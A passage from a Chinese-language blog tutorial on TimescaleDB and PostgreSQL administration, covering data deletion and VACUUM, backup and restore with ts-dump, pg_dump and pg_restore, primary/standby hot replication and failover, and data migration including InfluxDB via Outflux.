class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">DELETE</span> <span class="keyword">FROM</span> conditions <span class="keyword">WHERE</span> temperature <span class="operator">&lt;</span> <span class="number">35</span> <span class="keyword">OR</span> humidity <span class="operator">&lt;</span> <span class="number">60</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">DELETE</span> <span class="keyword">FROM</span> conditions <span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&lt;</span> NOW() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 month&#x27;</span>;</span><br><span class="line"></span><br><span class="line"># 运行大型<span class="keyword">DELETE</span>操作后，建议用户 VACUUM或VACUUM FULLhypertable 回收被删除或废弃的行占用的存储空间</span><br><span class="line">VACUUM [ ( option [, ...] ) ] [ table_and_columns [, ...] ]</span><br><span class="line">VACUUM [ <span class="keyword">FULL</span> ] [ FREEZE ] [ VERBOSE ] [ ANALYZE ] [ table_and_columns [, ...] ]</span><br><span class="line"></span><br><span class="line"><span class="keyword">where</span> option can be <span class="keyword">one</span> <span class="keyword">of</span>:</span><br><span class="line"></span><br><span class="line">    <span class="keyword">FULL</span> [ <span class="type">boolean</span> ]</span><br><span class="line">    FREEZE [ <span class="type">boolean</span> ]</span><br><span class="line">    VERBOSE [ <span class="type">boolean</span> ]</span><br><span class="line">    ANALYZE [ <span class="type">boolean</span> ]</span><br><span class="line">    DISABLE_PAGE_SKIPPING [ <span class="type">boolean</span> ]</span><br><span class="line">    SKIP_LOCKED [ <span class="type">boolean</span> ]</span><br><span class="line">    INDEX_CLEANUP &#123; AUTO <span class="operator">|</span> <span class="keyword">ON</span> <span class="operator">|</span> OFF &#125;</span><br><span class="line">    PROCESS_TOAST [ <span class="type">boolean</span> ]</span><br><span class="line">    <span class="keyword">TRUNCATE</span> [ <span class="type">boolean</span> ]</span><br><span class="line">    PARALLEL <span class="type">integer</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">and</span> table_and_columns <span class="keyword">is</span>:</span><br><span class="line"></span><br><span class="line">    table_name [ ( column_name [, ...] ) ]</span><br><span class="line">    </span><br><span class="line"># 示例</span><br><span class="line">VACUUM (VERBOSE, ANALYZE) onek;</span><br></pre></td></tr></table></figure><h2 id="十五-timescaled备份与还原">十五.timescaled备份与还原</h2><h3 id="1-timescaledb-backup-工具">1.<strong>timescaledb-backup 工具</strong></h3><h4 id="下载">下载</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/timescale/timescaledb-backup/releases</span><br></pre></td></tr></table></figure><h4 id="备份">备份</h4><h5 id="可选参数">可选参数</h5><p>除了这两个必需参数之外，您还可以在使用<code>ts-dump</code>命令时指定这些可选参数：</p><table><thead><tr><th style="text-align:left">范围</th><th style="text-align:left">描述</th><th style="text-align:left">默认</th><th style="text-align:left">笔记</th></tr></thead><tbody><tr><td style="text-align:left"><code>--jobs</code></td><td style="text-align:left">为转储运行的作业数</td><td style="text-align:left">4</td><td style="text-align:left">以并行模式运行，除非设置为 0。</td></tr><tr><td style="text-align:left"><code>--verbose</code></td><td style="text-align:left">详细输出</td><td style="text-align:left">错误的</td><td style="text-align:left"></td></tr><tr><td style="text-align:left"><code>--dump-roles</code></td><td style="text-align:left">用于<code>pg_dumpall</code>在运行转储之前转储角色（没有密码信息）。</td><td style="text-align:left">真的</td><td style="text-align:left">用于恢复对表的权限。</td></tr><tr><td style="text-align:left"><code>--dump-tablespaces</code></td><td style="text-align:left">用于<code>pg_dumpall</code>在运行转储之前转储表空间。</td><td style="text-align:left">真的</td><td style="text-align:left">如果您有多个表空间并且需要将表恢复到正确的表空间，请使用。</td></tr><tr><td style="text-align:left"><code>--dump-pause-jobs</code></td><td style="text-align:left">暂停可能会中断并行转储过程的后台作业。</td><td style="text-align:left">真的</td><td style="text-align:left">仅影响并行转储。</td></tr><tr><td style="text-align:left"><code>--dump-pause-UDAs</code></td><td style="text-align:left">在 TimescaleDB 2.0 及更高版本中，暂停作业时暂停用户定义的操作。</td><td style="text-align:left">真的</td><td style="text-align:left">仅影响作业暂停的并行转储。</td></tr><tr><td style="text-align:left"><code>--dump-job-finish-timeout</code></td><td style="text-align:left">在超时之前等待执行 DDL 的作业完成的秒数。</td><td style="text-align:left">600（10分钟）</td><td style="text-align:left">仅影响作业暂停的并行转储。设置为 -1 以不等待。</td></tr></tbody></table><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">--db-URI：要备份的数据库的位置。它应该是 Postgres URI格式，即 postgresql://[user[:password]@][host][:port][,...][/dbname][?param1=value1&amp;...]</span><br><span class="line"> 您可以根据需要在 URI 中指定参数，包括密码。</span><br><span class="line">--dump-dir：存储备份的路径。确保目录路径存在，但目录本身不存在。该目录由脚本创建。</span><br><span class="line"></span><br><span class="line"># 授权</span><br><span class="line">chmod 777 ./ts-dump</span><br><span class="line"># 以238的zy_dev 为例</span><br><span class="line">./ts-dump --db-URI=postgresql://postgres:123456@127.0.0.1:5432/zy_dev --dump-dir=/home/postgresql/zy</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/8e3e429a2455d1ad9309c76c59ddbbe6.png" alt="image-20230410115343089"></p><h4 id="从备份中恢复数据库">从备份中恢复数据库</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"># 创建新的数据库zy_prod</span><br><span class="line"># 授权</span><br><span class="line">chmod 777 ./ts-restore</span><br><span class="line"># exampledb从存储备份的目录将命名的数据库还原到新位置</span><br><span class="line">./ts-restore --db-URI=postgresql://postgres:123456@127.0.0.1:5432/zy_prod --dump-dir=/home/postgresql/zy</span><br><span class="line"></span><br><span class="line"># 恢复roles.sql和tablespaces.sql</span><br><span class="line">psql -d &lt;db-URI&gt; -f &lt;dump-dir&gt;/roles.sql  </span><br><span class="line">psql -d &lt;db-URI&gt; -f &lt;dump-dir&gt;/tablespaces.sql</span><br><span class="line"></span><br><span class="line"># 如</span><br><span class="line">psql -d postgresql://postgres:123456@127.0.0.1:5432/zy_prod -f /home/postgresql/zy/roles.sql  </span><br><span class="line">psql -d postgresql://postgres:123456@127.0.0.1:5432/zy_prod -f /home/postgresql/zy//tablespaces.sql</span><br></pre></td></tr></table></figure><h5 id="恢复的可选参数">恢复的可选参数</h5><table><thead><tr><th style="text-align:left">范围</th><th style="text-align:left">描述</th><th style="text-align:left">默认</th><th style="text-align:left">笔记</th></tr></thead><tbody><tr><td style="text-align:left"><code>--jobs</code></td><td style="text-align:left">为恢复运行的作业数</td><td style="text-align:left">4</td><td style="text-align:left">尽可能以并行模式运行，除非设置为 0。</td></tr><tr><td style="text-align:left"><code>--verbose</code></td><td style="text-align:left">详细输出</td><td style="text-align:left">真的</td><td style="text-align:left"></td></tr><tr><td style="text-align:left"><code>--do-update</code></td><td style="text-align:left">恢复后立即将 TimescaleDB 版本更新为最新的默认版本。</td><td style="text-align:left">真的</td><td style="text-align:left">需要<code>.so</code>您要从中恢复的版本和要更新到的版本的文件。</td></tr></tbody></table><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/b4cdd668ec738d893e7440e2b64a9008.png" alt="image-20230410115431793"></p><h3 id="2-使用-pg-dump-和-pg-restore-进行逻辑备份">2.<strong>使用 pg_dump 和 pg_restore 进行逻辑备份</strong></h3><h4 id="备份-2">备份</h4><p>您可以使用本机 PostgreSQL<a href="https://www.postgresql.org/docs/current/static/app-pgdump.html"><code>pg_dump</code></a>和<a href="https://www.postgresql.org/docs/current/static/app-pgrestore.html"><code>pg_restore</code></a> 命令备份和恢复整个数据库或单个超级表。</p><p>TimescaleDB不同版本之间的升级可以就地完成；您无需备份和恢复数据。</p><p>您可以<code>pg_dump</code>在命令提示符下使用该命令执行备份。例如，要备份名为 的数据库<code>exampledb</code>：</p><p>不要使用该<code>pg_dump</code>命令备份单个超级表。使用此方法创建的转储缺少从备份正确还原超表所需的信息。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/pgsql-11/bin/pg_dump --file &quot;/u01/pgsql.backup&quot; --host &quot;0.0.0.0&quot; --port &quot;5432&quot; --username &quot;postgres&quot; --dbname &quot;原数据库名&quot; --verbose --role &quot;postgres&quot; --format=c --blobs --encoding &quot;UTF8&quot;</span><br></pre></td></tr></table></figure><h4 id="从备份中恢复">从备份中恢复</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># 在需要恢复的表中开启备份模式</span><br><span class="line"><span class="keyword">SELECT</span> timescaledb_pre_restore();</span><br><span class="line"></span><br><span class="line"># 数据还原</span><br><span class="line">pg_restore <span class="comment">--username &quot;postgres&quot; --host &quot;127.0.0.1&quot; --port &quot;5432&quot;   --role &quot;postgres&quot; --dbname &quot;原数据库名&quot;    --verbose /u01/pgsql.backup</span></span><br><span class="line"></span><br><span class="line"># 还原完毕结束备份模式</span><br><span class="line"><span class="keyword">SELECT</span> timescaledb_post_restore();</span><br></pre></td></tr></table></figure><h4 id="备份单个超级表">备份单个超级表</h4><p>该<code>pg_dump</code>命令提供了允许您指定要备份的表或模式的标志。但是，使用这些标志意味着转储缺少 TimescaleDB 理解它们之间关系所需的必要信息。即使您明确指定超表及其所有组成块，转储仍不会包含在还原时重新创建超表所需的所有信息。</p><p>您可以通过备份整个数据库，然后排除不想备份的表来备份单个超级表。您还可以使用此方法备份不是超级表的单个普通表。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">在命令提示符下，备份 hypertable 架构</span></span><br><span class="line">pg_dump -s -d old_db --table conditions -N _timescaledb_internal | \</span><br><span class="line">grep -v _timescaledb_internal &gt; schema.sql</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">将 hypertable 数据备份到 CSV 文件</span></span><br><span class="line">psql -d old_db \</span><br><span class="line">-c &quot;\COPY (SELECT * FROM conditions) TO data.csv DELIMITER &#x27;,&#x27; CSV&quot;</span><br></pre></td></tr></table></figure><h4 id="从备份中恢复单个超级表">从备份中恢复单个超级表</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">在命令提示符下，恢复架构</span></span><br><span class="line">psql -d new_db &lt; schema.sql</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重新创建超表</span></span><br><span class="line">psql -d new_db -c &quot;SELECT create_hypertable(&#x27;conditions&#x27;, &#x27;time&#x27;)&quot;</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">恢复数据</span></span><br><span class="line">psql -d new_db -c &quot;\COPY conditions FROM data.csv CSV&quot;</span><br></pre></td></tr></table></figure><h3 id="3-物理备份">3.物理备份</h3><p>对于完整实例物理备份（这对于启动新<a href="https://docs.timescale.com/timescaledb/latest/how-to-guides/replication-and-ha/replication/">副本</a>特别有用），<a href="https://www.postgresql.org/docs/current/app-pgbasebackup.html"><code>pg_basebackup</code></a> 适用于所有 TimescaleDB 安装。您还可以使用多个外部备份和还原管理器中的任何一个，例如<a href="https://pgbackrest.org/"><code>pg_backrest</code></a>、 或 <a href="https://www.pgbarman.org/"><code>barman</code></a>。对于正在进行的物理备份，您可以使用 <a href="https://docs.timescale.com/timescaledb/latest/how-to-guides/backup-and-restore/docker-and-wale/"><code>wal-e</code></a>. 这些工具都允许您对整个实例进行在线物理备份，并且许多工具提供增量备份和其他自动化选项。</p><h2 id="十六-主从热备">十六.主从热备</h2><h3 id="1-创建热备用户">1.创建热备用户</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># 用户名小写</span><br><span class="line"><span class="keyword">CREATE</span> ROLE [用户名] login replication encrypted password <span class="string">&#x27;[密码]&#x27;</span>;</span><br><span class="line"></span><br><span class="line"># 如</span><br><span class="line"><span class="keyword">CREATE</span> ROLE chenqi login replication encrypted password <span class="string">&#x27;chenqi123&#x27;</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="2-进入数据目录，修改postgresql-conf">2.进入数据目录，修改postgresql.conf</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># 修改以下参数</span><br><span class="line"></span><br><span class="line">wal_level = replica</span><br><span class="line">max_wal_senders = 10</span><br><span class="line">wal_keep_segments = 64</span><br><span class="line">hot_standby = on</span><br></pre></td></tr></table></figure><h3 id="3-配置主库的pg-hba-conf-文件">3.配置主库的pg_hba.conf 文件</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/202110191052985.png" alt="image-20211019105259900"></p><h3 id="4-验证是否能从从库访问主节点">4.验证是否能从从库访问主节点</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">psql -h [主库ip] -U postgres</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/0dd4565b556ce66a734a3b0796c4f62d.png" alt="image-20230410115522065"></p><h3 id="5-从库配置">5.从库配置</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"># 停止从库服务</span><br><span class="line">service postgresql-13 stop</span><br><span class="line"></span><br><span class="line"># 清空从库的储存文件夹</span><br><span class="line">rm -rf /home/postgresql_data/*</span><br><span class="line"></span><br><span class="line"># 从主库上将数据备份到从库上</span><br><span class="line">pg_basebackup -h 主节点IP -p 5432 -U 用户名 -Fp -Xs -Pv -R -D /home/postgresql_data</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/e071aec46e5d1e0366817f5e761c6fee.png" alt="image-20230410115633354"></p><h3 id="6-编辑从库数据目录下的standby-signal文件">6.编辑从库数据目录下的standby.signal文件</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"># 加入配置</span><br><span class="line">vim standby.signal</span><br><span class="line">standby_mode = &#x27;on&#x27;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202110191101576.png" alt="image-20211019110146504"></p><h3 id="7-修改postgresql-conf文件">7.修改postgresql.conf文件</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">从机信息和连接用户</span></span><br><span class="line">primary_conninfo = &#x27;host=主节点IP port=5432 user=replica password=replica用户的密码&#x27;</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">说明恢复到最新状态</span></span><br><span class="line">recovery_target_timeline = latest </span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">大于主节点，正式环境应当重新考虑此值的大小</span></span><br><span class="line">max_connections = 120 </span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">说明这台机器不仅用于数据归档，还可以用于数据查询</span></span><br><span class="line">hot_standby = on</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">流备份的最大延迟时间</span></span><br><span class="line">max_standby_streaming_delay = 30s </span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">向主机汇报本机状态的间隔时间</span></span><br><span class="line">wal_receiver_status_interval = 10s </span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">r出现错误复制，向主机反馈</span></span><br><span class="line">hot_standby_feedback = on </span><br></pre></td></tr></table></figure><h3 id="8-重启从库">8.重启从库</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">service postgresql-13 restart</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202110191502665.png" alt="image-20211019150214566"></p><p>修改数据也能同步</p><h3 id="9-验证主从搭建是否成功">9.验证主从搭建是否成功</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select client_addr,sync_state from pg_stat_replication;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/c17d2d7d356497afeae92950e5e1b9f7.png" alt="image-20230410115725654"></p><h3 id="10-主从切换">10.主从切换</h3><h4 id="查看库状态">查看库状态</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/202110191512590.png" alt="image-20211019151252493"></p><h4 id="主库故障，停止主库服务">主库故障，停止主库服务</h4><h4 id="提升从库为主库">提升从库为主库</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">su - postgres -c &quot;pg_ctl promote&quot;</span><br><span class="line"></span><br><span class="line">server promoting</span><br></pre></td></tr></table></figure><h3 id="11-相关问题">11.相关问题</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/202110191428107.png" alt="image-20211019142858971"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 授权</span><br><span class="line">chown -R postgres:postgres /mnt</span><br></pre></td></tr></table></figure><h2 id="十七-数据迁移">十七.数据迁移</h2><h3 id="1-从同一个postgreSQL迁移">1.从同一个postgreSQL迁移</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"># 创建一个与旧表具有相同表结构和其他约束的新空表，使用<span class="keyword">LIKE</span></span><br><span class="line"># 此方法在创建old_table索引new_table时重新创建索引，以便在下一步将其转换为超表时，我们不必自己创建它们。它避免了一个步骤，但由于需要更新每个迁移行的索引，因此减慢了数据传输速度。</span><br><span class="line"></span><br><span class="line"># 方便的方法</span><br><span class="line"><span class="keyword">CREATE TABLE</span> new_table (<span class="keyword">LIKE</span> old_table INCLUDING DEFAULTS INCLUDING CONSTRAINTS INCLUDING INDEXES);</span><br><span class="line"></span><br><span class="line"># 更快的方法,创建完成后需要手动添加索引</span><br><span class="line"><span class="keyword">CREATE TABLE</span> new_table (<span class="keyword">LIKE</span> old_table INCLUDING DEFAULTS INCLUDING CONSTRAINTS EXCLUDING INDEXES);</span><br><span class="line"></span><br><span class="line"># 将新表转换为 Hypertable</span><br><span class="line"># 我们使用TimescaleDB函数create_hypertable转换new_table为超表，然后简单地<span class="keyword">INSERT</span>从旧表中获取数据</span><br><span class="line"></span><br><span class="line"><span class="comment">-- Assuming &#x27;time&#x27; is the time column for the dataset</span></span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;new_table&#x27;</span>, <span class="string">&#x27;time&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- Insert everything from old_table</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> new_table <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> old_table;</span><br><span class="line"></span><br><span class="line"># 添加额外索引</span><br><span class="line"><span class="keyword">CREATE</span> INDEX <span class="keyword">on</span> new_table (column_name, <span class="operator">&lt;</span>options<span class="operator">&gt;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="2-从不同postgreSQL数据库迁移">2.从不同postgreSQL数据库迁移</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># 复制架构和设置 Hypertables</span><br><span class="line"># 使用pg_dump以下命令可以轻松完成复制数据库模式</span><br><span class="line">pg_dump <span class="comment">--schema-only -f old_db.bak old_db</span></span><br><span class="line"></span><br><span class="line"># 创建新表</span><br><span class="line">psql <span class="operator">-</span>d new_db <span class="operator">&lt;</span> old_db.bak</span><br><span class="line"></span><br><span class="line"># 连接客户端</span><br><span class="line">psql <span class="operator">-</span>d new_db</span><br><span class="line"></span><br><span class="line"># 创建超表</span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;conditions&#x27;</span>, <span class="string">&#x27;time&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 将数据备份到 CSV</span><br><span class="line"># The following ensures <span class="string">&#x27;conditions&#x27;</span> outputs <span class="keyword">to</span> a comma<span class="operator">-</span>separated .csv file</span><br><span class="line">psql <span class="operator">-</span>d old_db <span class="operator">-</span>c &quot;\COPY (SELECT * FROM conditions) TO old_db.csv DELIMITER &#x27;,&#x27; CSV&quot;</span><br><span class="line"></span><br><span class="line"># 将数据导入 TimescaleDB</span><br><span class="line"># 使用文档前面从 .csv 导入 TimescaleDB节恢复数据</span><br></pre></td></tr></table></figure><h3 id="3-迁移influxdb数据">3.迁移influxdb数据</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># 下载 开源工具Outflux </span><br><span class="line">https://github.com/timescale/outflux</span><br><span class="line"></span><br><span class="line"># 使用 Influx CLI 客户端加载数据。该文件将首先创建“outflux_tutorial”数据库，然后进行插入</span><br><span class="line">influx -import -path=outflux_taxit.txt -database=outflux_tutorial</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="模式发现验证和传输">模式发现验证和传输</h3><p>Outflux 的功能之一是能够发现 InfluxDB 测量的模式，并验证是否存在可以保存传输数据的 TimescaleDB 表，或者创建可以满足模式要求的新表。</p><p>我们现在可以创建一个 TimescaleDB 超表，准备接收我们插入到 InfluxDB 实例中的演示数据。如果您按照教程操作并插入了示例<code>taxi</code>中的<code>outflux_tutorial</code>数据，则 InfluxDB 实例的数据库中应该有一个度量。</p><p>该<code>schema-transfer</code>Outflux的命令可以用4间架构的战略合作：</p><ul><li><code>ValidateOnly</code>: 检查是否安装了 TimescaleDB 扩展，指定的数据库有一个带有正确列的超表，以及它是否正确分区，但不会执行修改</li><li><code>CreateIfMissing</code>: 运行所有检查<code>ValidateOnly</code>并创建和正确分区任何丢失的超表</li><li><code>DropAndCreate</code>: 删除与测量同名的任何现有表，并创建一个新的超表并对其进行正确分区</li><li><code>DropCascadeAndCreate</code>: 执行与 DropAndCreate 相同的操作，如果存在与测量名称相同的现有表，则执行级联表删除的额外强度</li></ul><p><code>schema-transfer</code>如果用户希望将度量的标签或字段作为单个 JSONB 列传输，则可以使用指定模式策略的参数调用该命令。默认情况下，每个标签和每个字段都创建为单独的列。</p><p>我们可以<code>schema-transfer</code>在我们的示例数据上使用 Outflux运行：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ outflux schema-transfer outflux_tutorial taxi \</span><br><span class="line"> --input-server=http://localhost:8086 \</span><br><span class="line"> --output-conn=&quot;dbname=postgres user=postgres&quot;</span><br></pre></td></tr></table></figure><p>该<code>schema-transfer</code>命令通过指定数据库 ( <code>outflux_tutorial</code>) 和测量值 ( <code>taxi</code>) 来执行。如果未指定测量值，则将传输数据库中的所有测量值。InfluxDB 服务器的位置由<code>--input-server</code>标志指定。目标数据库和其他连接选项是用<code>--output-conn</code>标志指定的。在这里，我们使用<code>postgres</code>用户和数据库连接到我们的服务器。如何指定用户名、密码和更多关于输入和输出连接的配置选项（包括识别哪些环境变量）可以在<a href="https://github.com/timescale/outflux#connection">Outflux</a>的<a href="https://github.com/timescale/outflux#connection">GitHub 存储库中找到</a>。默认情况下，<code>schema-transfer</code>使用<code>CreateIfMissing</code>策略执行。</p><p>这是<code>schema-transfer</code>使用<code>DropAndCreate</code>策略运行 Outflux并将所有标签放在单个 JSONB 列中的示例输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">$ outflux schema-transfer outflux_tutorial taxi \</span><br><span class="line"> --input-server=http://localhost:8086 \</span><br><span class="line"> --output-conn=&quot;dbname=postgres user=postgres&quot; \</span><br><span class="line"> --schema-strategy=DropAndCreate \</span><br><span class="line"> --tags-as-json     </span><br><span class="line">2019/03/27 12:10:30 Selected input database: outflux_tutorial</span><br><span class="line">2019/03/27 12:10:30 Overriding PG environment variables for connection with: dbname=postgres</span><br><span class="line">user=postgres</span><br><span class="line">2019/03/27 12:10:30 Tags for measure &#x27;taxi&#x27; will be combined into a single JSONB column</span><br><span class="line">2019/03/27 12:10:30 pipe_taxi starting execution</span><br><span class="line">2019/03/27 12:10:30 Discovering influx schema for measurement: taxi</span><br><span class="line">2019/03/27 12:10:30 Discovered: DataSet &#123; Name: taxi, Columns: [Column... 2019/03/27 12:10:30</span><br><span class="line">Selected Schema Strategy: DropAndCreate</span><br><span class="line">2019/03/27 12:10:30 Table taxi exists, dropping it</span><br><span class="line">2019/03/27 12:10:30 Executing: DROP TABLE taxi</span><br><span class="line">2019/03/27 12:10:30 Table taxi ready to be created</span><br><span class="line">2019/03/27 12:10:30 Creating table with:</span><br><span class="line"> CREATE TABLE &quot;taxi&quot;(&quot;time&quot; TIMESTAMP, &quot;tags&quot; JSONB, &quot;fare&quot; FLOAT, &quot;mta_tax&quot; FLOAT, &quot;tip&quot; FLOAT, &quot;tolls&quot; FLOAT)</span><br><span class="line">2019/03/27 12:10:30 Preparing TimescaleDB extension:</span><br><span class="line">CREATE EXTENSION IF NOT EXISTS timescaledb</span><br><span class="line">2019/03/27 12:10:30 Creating hypertable with: SELECT create_hypertable(&#x27;&quot;taxi&quot;&#x27;, &#x27;time&#x27;);</span><br><span class="line">2019/03/27 12:10:30 No data transfer will occur</span><br><span class="line">2019/03/27 12:10:30 Schema Transfer complete in: 0.056 seconds</span><br></pre></td></tr></table></figure><h4 id="数据迁移">数据迁移</h4><p>模式传输很有用，但它不是我们构建 Outflux 的目的。您可以使用该命令将架构传输<em>和</em>数据迁移<code>migrate</code>合二为一。可用的连接选项是相同的（您可以在<a href="https://github.com/timescale/outflux#connection">public repo</a>上查看它们）。您可以传输完整的 InfluxDB 数据库，并将每个测量导出为单独的表，或者您可以选择要导出的测量。</p><p>您可以使用以下命令从数据库中的<code>taxi</code>测量传输所有示例数据<code>outflux_tutorial</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ outflux migrate outflux_tutorial 